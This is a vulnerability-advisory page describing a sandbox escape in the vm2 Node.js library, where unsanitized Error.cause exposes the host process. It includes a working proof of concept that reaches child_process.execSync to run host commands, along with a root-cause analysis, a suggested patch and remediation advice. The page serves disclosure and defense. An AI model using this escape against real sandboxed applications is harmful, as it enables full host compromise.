Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attacker-supplied sandbox code (PR:L) reliably escapes to full host compromise across the sandbox boundary (S:C, C/I/A:H); AC:L since exploitation is deterministic once the embedder throws a host-referencing error.
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
Lifecycle Timeline
4Blast Radius
ecosystem impact- 22 npm packages depend on vm2 (6 direct, 16 indirect)
Ecosystem-wide dependent count for version 3.11.6.
DescriptionCVE.org
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|---|---|
poc_error_cause_escape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause |
Articles & Coverage 2
AnalysisAI
Sandbox escape to remote code execution in the vm2 Node.js sandbox library (versions <= 3.11.5) arises because handleException() in lib/setup-sandbox.js sanitizes SuppressedError and AggregateError sub-errors but never inspects the ES2022 Error.cause property. Untrusted code running inside the sandbox that catches a host-thrown error carrying a .cause (or other own property) pointing at a host object such as process can dereference it to reach child_process and run arbitrary host commands. A working proof-of-concept demonstrating full RCE is published in the GitHub advisory, and the flaw is fixed in vm2 3.11.6; there is no CISA KEV listing indicating active exploitation.
Technical ContextAI
vm2 is a widely-used npm library that runs untrusted JavaScript in a restricted context by proxying and sanitizing objects that cross the sandbox/host boundary. The core defensive routine handleException() is meant to strip live host references out of any error object that propagates from a host function into sandbox catch blocks. It walks the error's prototype chain to detect SuppressedError (ES2024 'using' declarations) and AggregateError, recursing into their .error/.suppressed/.errors[] slots, but it returns all other errors unmodified without checking .cause, other arbitrary own properties, or the carrier's prototype chain. Because Error.cause (ES2022, Node 16.9+) and normal own properties can hold a direct reference to host objects, this is a CWE-693 Protection Mechanism Failure: the sanitization mechanism exists but is incomplete, leaving an unproxied path from sandbox to host. The affected package is pkg:npm/vm2.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.6, which closes GHSA-m283-3h24-438v by sanitizing Error.cause and other host-reference carriers on all error types (release notes: https://github.com/patriksimek/vm2/releases/tag/3.11.6; advisory: https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v). Note that 3.11.6 also fixes four other advisories (GHSA-cfcw-xp6x-25gj, GHSA-gmc2-2x9w-cgh9, GHSA-m5w8-4gq2-6f8x, GHSA-v836-6xw4-9cx3) and requires no API changes for valid configurations, so upgrading is low-risk. Because vm2 is deprecated, the strongest long-term remediation is migrating off vm2 entirely to an isolate-based sandbox such as isolated-vm or a separate OS/container process boundary. If you cannot patch immediately, the most direct compensating control is to ensure no embedder-exposed host function ever throws an Error that references a live host object: wrap all host functions so they catch internally and rethrow plain, reference-free errors (new Error(String(err.message))), which removes the .cause/own-property escape path at the cost of losing chained error diagnostics passed into the sandbox. Avoid exposing powerful host objects (process, require, module) to sandbox scope at all.
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Same weakness CWE-693 – Protection Mechanism Failure
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-60460
GHSA-m283-3h24-438v